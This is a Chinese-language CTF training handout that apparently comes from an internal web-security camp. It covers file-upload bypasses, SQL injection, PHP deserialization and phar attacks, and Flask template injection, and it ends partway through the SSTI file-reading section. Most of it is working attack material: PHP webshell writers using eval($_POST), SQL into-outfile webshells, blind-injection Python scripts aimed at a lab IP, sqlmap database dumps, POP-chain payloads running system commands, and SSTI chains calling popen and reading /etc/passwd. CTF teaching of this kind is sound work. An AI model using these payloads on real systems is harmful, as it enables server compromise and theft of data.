SNERT内部集训-WEB
Day1-2
文件上传
靶场搭建
docker安装,docker pull c0ny1/upload-labs,docker run -it -d -p 8080:80 aa4fdd1dd211
http://1.14.110.159:10009/
绕过
前端绕过
抓包,->改后缀,修改content-type 为image/jpeg
白名单绕过
%00截断,条件竞争(并发)
黑名单绕过
1.php2,php3,php4,php5,phtml,大小写绕过,空格,.,$DATA,
2..htaccess,.user.ini
3.文件头,GIF89a
4.文件包含漏洞,图片马。或者直接使用GIF89a,图片马的制作copy 1.jpg/b + shell.php 2.jpg 或者直接notepad写入。第14,15关
5.二次渲染,第16关,
6,条件竞争,
<?php fputs(fopen('1.php','w'),'<?php @eval($_POST["1"])?>');?>
中间件解析漏洞
CTF真题
[极客大挑战 2019]Upload,[ACTF2020 新生赛]Upload,[GXYCTF2019]BabyUpload [SUCTF 2019]CheckIn1
SQL注入
靶场http://1.14.110.159:10010/
数据库基础:
1.解释为什么使用select,information_schema。
在MYSQL中,数据都是存在库中的,库里有表,表里有字段;show databases查看数据库,
![](https://img2024.cnblogs.com/blog/3452880/202406/3452880-20240619214208576-191968394.png)
自带的库:information_schema:请注意,INFORMATION_SCHEMA 是 MySQL 中的系统数据库,它包含有关数据库、表、列等的元数据信息。SCHEMATA 是 INFORMATION_SCHEMA 数据库中的一个表,它保存了所有数据库的信息。
所以我们要查有哪些数据库的时候,常见的有两种方式,show 和 select。
select schema_name from INFORMATION_SCHEMA.SCHEMATA;
![](https://img2024.cnblogs.com/blog/3452880/202406/3452880-20240619214207959-454974192.png)
那为什么在注入的时候不用show来爆数据库,表呢?因为在做题时,通常都是通过拼接select语句,比如$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";,用户只需要传入id即可,但是show 和 select 不能同时作为主语使用,也就是不能同时出现在一条执行语句中
![](https://img2024.cnblogs.com/blog/3452880/202406/3452880-20240619214208237-885548142.png)
那什么时候可以一起使用呢?堆叠注入的时候:分号“;”相当于一条语句的结束。
![](https://img2024.cnblogs.com/blog/3452880/202406/3452880-20240619214208332-1244776533.png)
所以我们平时爆数据库和表时就会使用:
Python select schema_name from information_schema.schema; select table_name from information_schema.tables WHERE TABLE_SCHEMA = 'security';
|
![](https://img2024.cnblogs.com/blog/3452880/202406/3452880-20240619214208320-261913175.png)
2.解释注入时为什么要先判断列数,Order by
首先先了解表的结构,由行和列组成,第一行代表的是字段名(也就是每一列的属性)
![](https://img2024.cnblogs.com/blog/3452880/202406/3452880-20240619214208326-1514360497.png)
然后就是了解 select 的作用,它是以 行 为单位将内容打印出来;
![](https://img2024.cnblogs.com/blog/3452880/202406/3452880-20240619214208230-914375297.png)
当我们使用select * from users的时候,就会显示users所有的列数;3列;
当在后面继续拼接使用select 的时候,拼接的select列数必须等于第一个select的列数,就是说儿子要长得和爸爸一样;
![](https://img2024.cnblogs.com/blog/3452880/202406/3452880-20240619214208395-1012074787.png)
因此,在我们使用select拼接时,必须先判断列数,怎么判断?order by :以..排序;
Order by 1,以第一列来排序,order by 2,以第二列排序,但当我只有3列,我使用order by 4,就会报错;
![](https://img2024.cnblogs.com/blog/3452880/202406/3452880-20240619214208413-1743113787.png)
![](https://img2024.cnblogs.com/blog/3452880/202406/3452880-20240619214208012-1968038926.png)
通常流程:找闭合点 :‘ ,“,‘),‘)),“),“))
字符型报错注入
less1
使用‘ ->报错,order by判断列数->判断回显位->爆数据库->爆表
整数型注入
使用1 and 1=1 ->正常,1 and 1=2->无报错,无回显。说明1 and 0 存在整数型。
-1 order by 3--+
闭合方式
’):$sql = "select * from users where id=('id') limit 0,1;" less-3
") :$sql = "select * from users where id=("id") limit 0,1;" less-4
'))
报错回显
less5-6 能闭合但无回显位时,利用报错回显来获得信息,报错回显可以通过,双查询,updatexml(),extractvalue(),具体https://blog.csdn.net/qq_45521281/article/details/105644540
双查询:
Python Rand() //随机函数,用于产生 0 至 1 之间的随机数 Floor() //取整函数,向下舍入为指定小数位数 如:floor(1.45,0)= 1;floor(1.55,0) = 1 Count() //汇总函数 Group by clause //**分组语句,当使用一个聚合函数,比如count函数后面如果再使用 Group by 分组语句就会把查询的一部分以错误的形式显示出来。
select concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a; //我们把concat((select database()), floor(rand()2)) 这个结果取了一个别名 a ,然后使用他进行分组。
最后payload: select count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a; //count 聚合函数和group by 一起使用,会报错。但是,报错内容就有我们想要的数据。
less5 id=1'union select 1,count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a;--+
|
updatexml和extractvalue()报错
updatexml注入
首先了解下updatexml()函数,作用是改变文档中符合条件的节点的值
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
报错原因:由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。
爆库
select updatexml(2,concat('|',(select schema_name from information_schema.schemata limit 4,1),'|'),2);
爆表
select updatexml(2,concat('|',(select table_name from information_schema.tables where table_schema=database() limit 2,1),'|'),2);
爆字段
select updatexml(2,concat('|',(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 2,1),'|'),2);
爆数据
select updatexml(2,concat('|',(select concat(name,'|',passwd) from user.users limit 2,1 ),'|'),2);
ps: 通过修改limit的值 0,1 - 1,1 - 2,1 可以逐个的读取数据
类似的:
extractvalue()函数报错注入
暴库
select extractvalue(2,concat('|',(select schema_name from information_schema.schemata limit 4,1),'|'));
爆表
select extractvalue(2,concat('|',(select table_name from information_schema.tables where table_schema=database() limit 3,1),'|'));
爆字段
select extractvalue(2,concat('|',(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 2,1),'|'));
爆数据
select extractvalue(2,concat('|',(select concat(name,’|’,passwd) from user.users limit 2,1 ),'|'));
注意extractvalue()函数就只有两个参数。
and updatexml (1, (concat (0x7C, (select @@version))) ,1);
SQL getshell
id = 1'))union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile '/tmp/shell.php'--+
less-7
布尔盲注
实用于回显结果只有两种结果,没有报错提示。
less-8
?id=1' and 1--+ 页面正常
?id=1' and 0--+ 页面不正常
?id=1' and length(database())=8 --+
页面正常显示,说明长度为8
判断数据库名第一位是否大于‘a’:
?id=1'and left(database(),1)>'a'--+
然后判断前两位是否大于'sa':
?id=1'and left(database(),2)>'sa'--+
以此类推.......可以使用二分法提高效率
然后猜解表名(ascii)
第一个表的第一个字符:?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101--+
第一个表的第二个字符:?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>109--+
第二个表的第一个字符:?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>114--+
时间盲注
不同payload响应时间不一样
if(1,2,3):如果1为True,则执行2,否则执行3
sleep(x):延迟x秒之后执行
ascii(char):将字符转换为对应的ascii码
substr(str,pos,len):将字符串从pos位开始截取len长度
时间盲注情况:
第一种情况:无论输入什么都只显示无信息页面,如登录页面。这种情况下可能只有登录失败页面,错误页面被屏蔽了,并且在没有密码的情况下,登录成功的页面一般情况也不知道。在这种情况下有可能基于时间的SQL注入会有效
第二种情况:无论输入什么都只显示正常信息页面。例如,采集登录用户信息的模块页面,采集用户的IP,浏览器类型,refer字段,session字段,无论用户输入什么,都显示正常页面
第三种情况:差异页面不是由URL中的SQL语句来决定的。这种情况下,也只能使用基于时间盲注
判断注入
payload
if(now() = sysdate(),sleep(6),0)
爆破数据库
?id=1' and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+
爆破表名
?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);--+
爆破内容
?id=1' and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+
Python # 盲注 # import time # # import requests # # url='http://1.14.110.159:10010/Less-8/?id=' # # table = "" # for i in range(1,100): # time.sleep(1) # left = 32 # right = 128 # mid = (left+right)//2 # while left<right: # payload = url+f"1' and ascii(substr((select group_concat(database())),{i},1))>{mid}--+" # # print(payload) # re =requests.get(payload).text # if "You are in" in re: # # print("ok") # left = mid+1 # else: # right=mid # mid = (left + right) // 2 # print(mid) # table+=chr(mid) # print(table)
print(ord('a'))
# 时间盲注
import time
import requests
url='http://1.14.110.159:10010/Less-8/?id='
table = "" for i in range(1,100): # time.sleep(1) left = 32 right = 128 mid = (left+right)//2 while left<right: payload = url+f"1' and if ( ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{i},1))>{mid} ,sleep(2),0)--+" # print(payload) start_time = time.time() re =requests.get(payload).text end_time = time.time() use_time =end_time-start_time
if use_time >2: # print("ok") left = mid+1 else: right=mid mid = (left + right) // 2 print(mid) table+=chr(mid) print(table)
|
二次注入
less-24
1.注册一个admin'#的账号。
2.登录admin'#该,修改该帐号的密码,此时修改的就是admin的密码,我修改为123456。
Sql语句变为UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'
堆叠注入
less-38-45
堆叠注入,顾名思义,就是将语句堆叠在一起进行查询
原理很简单,mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句,例如
select * from users;show databases;
就同时执行以上两条命令,所以我们可以增删改查,只要权限够
虽然这个注入姿势很牛逼,但实际遇到很少,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
38:?id=1';update users set password = "12345" where username ='Dumb';--+
39:?id=1;insert into users(id,username,password)values(19,'allblue','2019')--+
练习:[极客大挑战 2019]FinalSQL
绕过
https://blog.csdn.net/weixin_42478365/article/details/119300607
SQLmap的使用
使用 sqlmap 拖库
借助 sqlmap 我们可以通过简单的参数自动完成漏洞的利用,既不用记过多的 SQL 语句,也会更加高效。
(1)使用 --dbs 参数获取数据库名称(注意:这里需要 sudo,否则无法访问 docker 容器中的网站),示例命令如下
./sqlmap.py -u "http://localhost/Less-2/?id=1" --dbs
(2)使用 --current-db 参数获取当前数据库,示例命令如下:
./sqlmap.py -u "http://localhost/Less-2/?" --current-db
(3)使用 --tables 参数枚举表名,示例命令如下 :
./sqlmap.py -u "http://localhost/Less-2/?id=1" --tables -D 'security'
(4)使用 --columns 参数枚举字段名,示例命令如下:
./sqlmap.py -u "http://localhost/Less-2/?id=1" --columns -T "users" -D "security"
(5)使用 --dump 参数批量获取字段值,示例命令如下:
./sqlmap.py -u "http://localhost/Less-2/?id=1" --dump -C "id,password,username" -T "users" -D "security"
(6)使用 --dump-all 参数导出整个数据库。
./sqlmap.py -u "http://localhost/Less-2/?id=1" --dump-all
Sqlmap -r 1.txt
Day2-3
反序列化
http://1.14.110.159:10011/
反序列化前置知识
序列化:序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。
反序列化: 与序列化的过程刚好相反。
对象->序列化->字符串->反序列化->对象
Python class Flag{ public $name; public $her; } $flag = new Flag(); $str='snert'; $arr=array('snert'=>1,'ctf'=>2); $arr2=array('snert','ctf','win');
echo serialize($str)."\n"; echo serialize($arr)."\n"; echo serialize($arr2)."\n"; echo serialize($flag)."\n"; echo var_dump(unserialize(serialize($arr)))."\n";
//输出 s:5:"snert"; a:2:{s:5:"snert";i:1;s:3:"ctf";i:2;} a:3:{i:0;s:5:"snert";i:1;s:3:"ctf";i:2;s:3:"win";} O:4:"Flag":2:{s:4:"name";N;s:3:"her";N;} array(2) { ["snert"]=> int(1) ["ctf"]=> int(2) }
|
private:会在变量前加类名,并且类名前后有分别要有个%00,也就是空字符。
protect:会在变量前加*号,前后分别有一个个空字符%00。
PHP <?php
class test{
public $snert = "snerthah"; private $snert2 = "priv"; protected $snert3= "prote";
function S(){ $this->snert ="hah"; } }
$pub = new test(); echo serialize($pub)."\n"; echo urlencode(serialize($pub)); 结果 O:4:"test":3:{s:5:"snert";s:8:"snerthah";s:12:"testsnert2";s:4:"priv";s:9:"*snert3";s:5:"prote";} O%3A4%3A%22test%22%3A3%3A%7Bs%3A5%3A%22snert%22%3Bs%3A8%3A%22snerthah%22%3Bs%3A12%3A%22%00test%00snert2%22%3Bs%3A4%3A%22priv%22%3Bs%3A9%3A%22%00%2A%00snert3%22%3Bs%3A5%3A%22prote%22%3B%7D
|
对象序列化:
构造pop链的基础,当序列化一个对象时,如果对象里面包含其他对象,依然会对这个其他对象进行序列化;
PHP <?php
class test{ var $pub='benben'; function jineng(){ echo $this->pub; } } class test2{ var $ben; function __construct(){ $this->ben=new test(); } } $a = new test2(); echo serialize($a); ?>
|
反序列化生成的对象里的值,由反序列化里的值(字符串$a)提供;与原有类预定义的值无关;
PHP <?php
class test { public $a = 'benben'; protected $b = 666; private $c = false; public function displayVar() { echo $this->a; } } $d = new test(); $d -> a = "haha"; $t = serialize($d); echo serialize($d); echo var_dump(unserialize($t)); ?>
|
魔术方法
PHP constract()
实例化一个对象时会自动调用,也就是new时。
_destruct() 析构函数,在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法。比如new一个对象,当创建完成之后就不引用了,如果有赋值指向就会立马丢弃,所以触发destruct,unserialize()反序列化一个对象,序列化完成之后也会丢弃这个对象。 GC回收机制:throw new Exception("SNERT17");
sleep()
在使用serilize之前会触发
wakeup()
在使用unserilize之前触发。
绕过:增大参数个数。
tostring ()
把对象当字符串输出时触发,例如echo
invoke()
把对象当函数使用时触发,比如test是个对象,test()就会触发。
|
Pop链的构造:
例题1:
PHP <?php highlight_file(__FILE__); error_reporting(0); class index { private $test; public function __construct(){ $this->test = new normal(); } public function __destruct(){ $this->test->action(); } } class normal { public function action(){ echo "please attack me"; } } class evil { var $test2; public function action(){ eval($this->test2); } } unserialize($_GET['test']); ?>
链子构造: class index { public $test;//eval
} class normal {
} class evil { var $test2;//system(ls); }
$e=new evil(); $e->test2='system(ls);';
$in = new index(); $in->test=$e; $t=serialize($in); echo urldecode($t);
//结果:O:5:"index":1:{s:4:"test";O:4:"evil":1:{s:5:"test2";s:11:"system(ls);";}}
但是题目中的test变量是私有属性private,需要将test变量前加一个%00index%00 最终payload: O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:11:"system(ls);";}}
|
例题2:
链子
PHP <?php class Modifier { private $var='flag.php';//flag.php public function append($value) { include($value); echo $flag; } public function __invoke(){ $this->append($this->var); } } class Show{ public $source;//Show public $str;//Test, public function __toString(){ return $this->str->source; } public function __wakeup(){ echo $this->source; } } class Test{ public $p;// Modifier public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } }
$m = new Modifier();
$t = new Test(); $t->p=$m;
$sho2=new Show(); $sho2->str = $t;
$Sho1=new Show(); $Sho1->source = $sho2;
echo serialize($Sho1)."\n"; echo urlencode(serialize($Sho1));
结果: O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"Modifiervar";s:8:"flag.php";}}}s:3:"str";N;} O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
|
GC回收机制绕过__destruct()
GC回收是什么?垃圾回收站
PHP class User { public $snert; public function __destruct() { echo "触发了析构函数1次"."<br />" ; }
public function __get($name) { echo "get"; } } $test = new User("benben");
$ser = serialize($test); $t=unserialize($ser);
throw new Exception("SNERT17");
|
绕过:将实例化后的对象设置为数组,array(x,x);再序列化化,最后将序列化后的字符串中的i:1替换为i:0;
PHP <?php
use User as GlobalUser;
class User { var $cmd = "SNERT 666!" ; public function __destruct() { eval ($this->cmd); } }
$u=new User(); $u->cmd = 'system(ls);'; $t=array($u,'t');
$i=serialize($t)."\n";
//a:2:{i:0;O:4:"User":1:{s:3:"cmd";s:11:"system(ls);";}i:0;s:1:"t";}
|
__wakeup绕过,不让这个函数执行,
把生成的序列化字符串的变量值改大
PHP O:4:"User":1:{s:3:"cmd";s:11:"system(ls);";} O:4:"User":2:{s:3:"cmd";s:11:"system(ls);";}
|
列题:
PHP <?php error_reporting(0); class secret{ var $file='index.php';
public function __construct($file){ $this->file=$file; }
function __destruct(){ include_once($this->file); echo $flag; }
function __wakeup(){ $this->file='index.php'; } } $cmd=$_GET['cmd']; if (!isset($cmd)){ highlight_file(__FILE__); } else{ if (preg_match('/[oc]:\d+:/i',$cmd)){ echo "Are you daydreaming?"; } else{ unserialize($cmd); } } //sercet in flag.php ?>
|
绕过:
PHP <?php
class secret{ var $file='flag.php';
}
$u=new secret();
echo serialize($u)."\n"; //O:6:"secret":1:{s:4:"file";s:8:"flag.php";} 过滤不能O:1,就是不能出现O:与数字挨着,使用+绕过,然后再改大变量的值 O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}
最后url encode编码后传参 O%3A%2B6%3A%22secret%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D
|
字符串逃逸
$b='O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";N;}s:1:"a";';
echo var_dump(unserialize($b));
在前面字符串没有问题的情况下,;}是反序列化结束符,后面的字符串不影响反序列化结果。
减少 将序列化后的字符串进行了替换。
PHP class A{ public $v1 = "absystem()system()system()"; public $v2 = '1123";}";s:2:"v3";s:5:"snert";}';
} $a = new A(); $data = serialize($a); echo $data."\n"; $data = str_replace("system()","",$data); echo $data."\n"; var_dump(unserialize($data)); ?>
|
逃逸使得v3= snert;
逃逸出v3->snert v4->tetst
构造 ";s:2:"v3";s:5:"snert";} 长度为24
对于A类,正常的序列化如下,
O:1:"A":2:{s:2:"v1";s:2:"ab";s:2:"v2";s:3:"123";}
然后直接在末尾添加我们需要构造的参数
O:1:"A":2:{s:2:"v1";s:3:" ab";s:2:"v2";s:xx:"123";} ";s:2:"v3";s:5:"snert";}
现在只需要控制第一个参数的长度,把他变成25,形成下面这样:这样就会构造出可解析的v3=snert
O:1:"A":2:{s:2:"v1";s:25:" ab";s:2:"v2";s:xx:"123";} ";s:2:"v3";s:5:"snert";}
因此,将重心放在构造v1的长度为25,ab已经占了两位,还剩23位,需要由system()来占位,3个就是24,比23多一个字符,那就在第二个参数后面再加上一个任意字符即可。所以:
v1 ="absystem()system()system()"
v2 = 123x";}";s:2:"v3";s:5:"snert";}
O:1:"A":2:{s:2:"v1";s:26:"absystem()system()system()";s:2:"v2";s:31:"123x";}";s:2:"v3";s:5:"snert";}";}
O:1:"A":2:{s:2:"v1";s:25:"axsystem()system()system()";s:2:"v2";s:x3:"1123";}";s:2:"v2";s:5:"snert";}
O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:3:"123";}
增加
PHP class A{ public $v1 ; public $v2 ; public function __wakeup() { if ($this->v3 == "snert") { echo "萧总是帅B"."\n"; } }
} $data = $_GET['snert']; $data = str_replace("ls","pwd",$data); var_dump(unserialize($data));
|
逃逸v3->snert
构造:
";s:2:"v3";s:5:"snert";} 长度为24
字符串ls->pwd,每次增多一个字符,也就是会往外吐一个字符。
在第一个参数里构造,需要吐24个字符,一个ls增加一个字符,那么就需要24个lslslslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:5:"snert";}
增加列题 :phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}
减少。user=flagflagflagflagflagflagflagflagflagflag&pass=1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}
session 反序列化
PHP中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项 session.save_handler 来进行确定的,默认是以文件的方式存储。存储的文件是以sess_[sessionid]来进行命名的。靶场的session文件存在于html下的/tmp目录下。
存取的格式有三种:
默认使用php:键名|键值(经过序列化函数处理的值)
name|s:6:"1FonlY";
php_serialize:经过序列化函数处理的值
a:1:{s:4:"name";s:6:"1FonlY";}
php_binary:键名的长度对应的ASCII字符 + 键名 + 经过序列化函数处理的值
names:6:"1FonlY";
不可显的为EOT ,name的长度为4 4在ASCII 表中就是 EOT
当序列化的引擎和反序列化的引擎不一致时(写入和读取session的格式不一样),通常是php和php_serialize方式配合。就可以利用引擎之间的差异产生序列化注入漏洞。
比如这里先实例化一个对象,然后将其序列化为 O:7:"_1FonlY":1:{s:3:"cmd";N;},
如果传入 |O:7:"_1FonlY":1:{s:3:"cmd";N;},在使用php_serialize 引擎的时候,
序列化后的session 文件是这样的 a:1:{s:4:"name";s:31:"|O:7:"_1FonlY":1:{s:3:"cmd";N;}";},
这时,将a:1:{s:4:"name";s:31:" 当做键名,O:7:"_1FonlY":1:{s:3:"cmd";N;} 当做键值,将键值进行反序列化输出,这时就造成了序列化注入攻击。
总结就是,在上传session处的页面传入序列化的内容,在序列化内容前加 |
例题:save.php处存在以php_serialize的形式传入session,而在vul.php处使用php形式,存在引擎差异,因此在save处提交序列化后的内容。
练习,php中,要让两个值一模一样,可以采用引用,$a=&$b;
class Flag{
public $name;
public $her;
}
$flag = new Flag();
$flag->name = &$flag->her;
echo serialize($flag);
|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}
phar 反序列化
前言:以往的反序列化漏洞利用都是通过界面直接传入构造好的序列化字符串,然后界面代码中都会有unserilize()对传入的字符串进行反序列化。但是接下来这个漏洞就是,将构造好的序列化字符串藏进一个文件中,当读取这个文件的时候就会自动进行反序列化,而不需要通过unserilize();
基础知识
什么是phar?就是一个文件,相当于是压缩文件,可以理解成和java的jar文件差不多;可以通过phar协议来读取。
phar文件内容组成:
头部信息: xxx<?php xxx; __HALT_COMPILER();?>
manifest:phar文件的属性等信息,以序列化的方式存储。
contents:phar的内容
signature:签名,在末尾。
使用010打开看:
![](https://img2024.cnblogs.com/blog/3452880/202406/3452880-20240619214208574-2066276100.png)
当读取phar文件时,会自动反序列化manifest中的字符串。
Phar 的利用
利用流程:通常要有文件上传的地方,将phar文件上传进服务器。然后再使用phar://协议去读取上传的phar文件,这样就会触发反序列化。
因此要利用这个漏洞需要满足以下条件:
PHP 1.能上传文件到服务器 //无论是什么类型的文件,只要能上传文件就行 2.具备可利用的反序列链。 3.能具有读取文件操作的函数并且函数中的参数可控,比如file_get_contens($filename),$filename可控。
|
当上面三个条件都满足之后,我们就可以制作一个包含“序列化字符串”的phar文件,然后把这个phar文件 上传到服务器,再通过第三个条件的文件操作函数读取这个phar文件,最终自动反序列化phar文件中manifest字段中的字符串。
漏洞体验:
在靶场的Phar反序列化“漏洞页面”处,打开环境:在第一个页面我们就已经自动生成一个phar文件(改文件已经自动构造好序列化链子)到服务器;
第二个界面代码如下:
PHP <?php highlight_file(__FILE__); error_reporting(0); class Testobj //Testobj类 { var $output="echo 'ok';"; function __destruct() { eval($this->output); //其中destruct函数下有危险函数,我们可以利用;满足条件中的第二点,可以构造序列化字符串链子 } } if(isset($_GET['filename'])) { $filename=$_GET['filename']; var_dump(file_exists($filename)); //满足第三点,存在文件操作函数,并且可以控制filename. } ?> 第一个界面已经模拟生成一个phar文件,并且也将序列化字符串嵌入文件中; 因此我们可以直接利用 ?filename=phar://test.phar&a=system(ls);
|
phar文件的制作
有固定的模板,我们需要解决的是依然是构造 pop 链。将构造的链子写进manifer字段中;
PHP <?php //------这个区域放构造链中需要的类,来源于题目 class User{ var $name; } //------------ ------------- //然后开始构造链子。 $o = new User(); $o->name = "XINO"; //链子构造之后不用serialize(),注意区别于以往。因为下面的setMatadata会自动序列化。 //然后开始制作phar文件 @unlink("snert.phar"); //删除之前的snert.phar文件(如果有) $phar = new Phar("snert.phar"); //创建一个phar对象,文件名必须以phar为后缀 $phar->startBuffering(); //开始写文件 $phar->setStub("<?php __HALT_COMPILER(); ?>"); //写入stu头部信息 $phar->setMetadata($o); //重点!!将构造好的链子写入meta-data也就是manifest字段,这里会自动进行序列化,因此传入链头就行。其实可以理解为serialize($o); $phar->addFromString("snert.txt", "snert"); $phar->stopBuffering(); ?>
因此,以后制作phar文件时,只需要改两个地方,一个链子的构造,一个 $phar->setMetadata($o)中的$o;
|
注意:制作phar文件的php环境需要>5.0,并且php.ini中:phar.readonly=Off,否则会报readonly的错误
phar反序列化列题
PHP 题目源码,在upload.php处可以文件上传,满足第一个条件, <?php highlight_file(__FILE__); error_reporting(0); class TestObject { public function __destruct() { include('flag.php'); //该类可以构造链子。使得可echo 出来flag,满足第二个条件 echo $flag; } } $filename = $_POST['file']; if (isset($filename)){ echo md5_file($filename); //存在文件操作函数,且可对filename控制。 } //upload.php ?>
|
制作phar文件,先构造链子,这道题pop链很简单,直接$snert = new Testobject()就行,反序列化时就会自动触发destruct函数。
直接套模板:
PHP
<?php //------这个区域放构造链中需要的类,来源于题目 class TestObject{ } //------------ ------------- //然后开始构造链子。 $snert = new TestObject();
//链子构造之后不用serialize(),注意区别于以往。因为下面的setMatadata会自动序列化。 //然后开始制作phar文件 @unlink("snert.phar"); //删除之前的snert.phar文件(如果有) $phar = new Phar("snert.phar"); //创建一个phar对象,文件名必须以phar为后缀 $phar->startBuffering(); //开始写文件 $phar->setStub("<?php __HALT_COMPILER(); ?>"); //写入stu头部信息 $phar->setMetadata($snert); //重点!!将构造好的链子写入meta-data也就是manifest字段,这里会自动进行序列化,因此传入链头就行。其实可以理解为serialize($o); $phar->addFromString("snert.txt", "snert"); $phar->stopBuffering(); ?>
|
将生成的phar文件上传,能上传什么格式就将生成的文件改成什么格式,不影响phar解析。
比如这道题只能上传jpg,那么直接将snert.phar的后缀改为snert.jpg,然后上传就行。
![](https://img2024.cnblogs.com/blog/3452880/202406/3452880-20240619214208649-1611836768.png)
Day3-4
SSTI模板注入
前置知识,漏洞成因flask
Python from flask import Flask,request,render_template_string
app = Flask(__name__)
@app.route('/test') def index(): str = request.args.get('snert')
html_str =''' <html> <head></head> <body>{{str}}</body> </html> '''
return render_template_string(html_str,str = str)
if __name__ == '__main__': app.debug = True app.run()
|
上述代码将传入的字符串直接当成字符串去传递给html_str代码,不会解析:
当代码如下所示:
Python from flask import Flask,request,render_template_string
app = Flask(__name__)
@app.route('/test') def index(): strinput = request.args.get('snert')
html_str =''' <html> <head></head> <body>{}</body> </html> '''.format(strinput)
return render_template_string(html_str)
if __name__ == '__main__': app.debug = True app.run()
|
我们可以控制输入,这是直接进行渲染。输入snert={{7*7}}:
继承关系和魔术方法
继承关系:
![](https://img2024.cnblogs.com/blog/3452880/202406/3452880-20240619214208516-1402975415.png)
通俗点说就是,object 是祖先,下面有很多子类,子类下面又有很多函数;
Python __class__ : 返回对象所属的类
__base__ : 返回该类所继承的上一个基类 print(''.__class__.__base__)
__mro__ : 返回一个类所继承的基类元组,方法在解析时按照元组的 顺序解析。 // base和mro都是用来寻找基类的 __subclasses__ : 每个新类都保留了子类的引用,这个方法返回一个 类中仍然可用的的引用的列表 __init__ : 类的初始化方法 __globals__ : 对包含函数全局变量的字典的引用
|
''.__class__当前类:
![](https://img2024.cnblogs.com/blog/3452880/202406/3452880-20240619214208648-1362848212.png)
''.__class__.__base__ 当前类的父类:
![](https://img2024.cnblogs.com/blog/3452880/202406/3452880-20240619214208122-494814095.png)
''.__class__.__base__.__subclasses__() object下面的所有子类:
![](https://img2024.cnblogs.com/blog/3452880/202406/3452880-20240619214209125-232240825.png)
''.__class__.__base__.__subclasses__()[12] 选择其中的一个子类:
''.__class__.__base__.__subclasses__()[19].__init__:初始化,如果结果带wrapper的说明没有重载,不能用,寻找不带wrapper的:
当找到已经重载的类,比如<class 'os._wrap_close'> 就可以加载改类下可用的函数:
''.__class__.__base__.__subclasses__()[133].__init__.__globals__
![](https://img2024.cnblogs.com/blog/3452880/202406/3452880-20240619214209045-2028270824.png)
调用函数,有三种调用:
1.类函数,子类可以直接调用的函数:比如文件读取<class '_frozen_importlib_external.FileLoader'>类下面的get_data函数;
''.__class__.__base__.__subclasses__()[79]["get_data"](0,"/etc/passwd")
2.重载函数,比如当前下面的危险函数popen:
''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls').read()
不加read()返回的是地址;
3.内嵌函数,先使用__builtins__加载内嵌函数:再调用内嵌函数:
''.__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()") #eval()里面就可以写python代码。
如果globals下面没有可以直接利用的重载函数,就加载内嵌函数,使用内嵌函数来命令执行。
通过演示可以知道:类的顶端是object类,object类下面有很多子类,比如str类,int类....,这些子类下面又有一些可用的函数,我们可以调用。
文件读写
1.file来读
这里会返回dict类型,寻找keys中可用函数,直接调用即可,使用keys中的file以实现读取文件的功能:
Python ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
|
2.<class '_frozen_importlib_external.FileLoader'>类
先找<class '_frozen_importlib_external.FileLoader'>类的位置
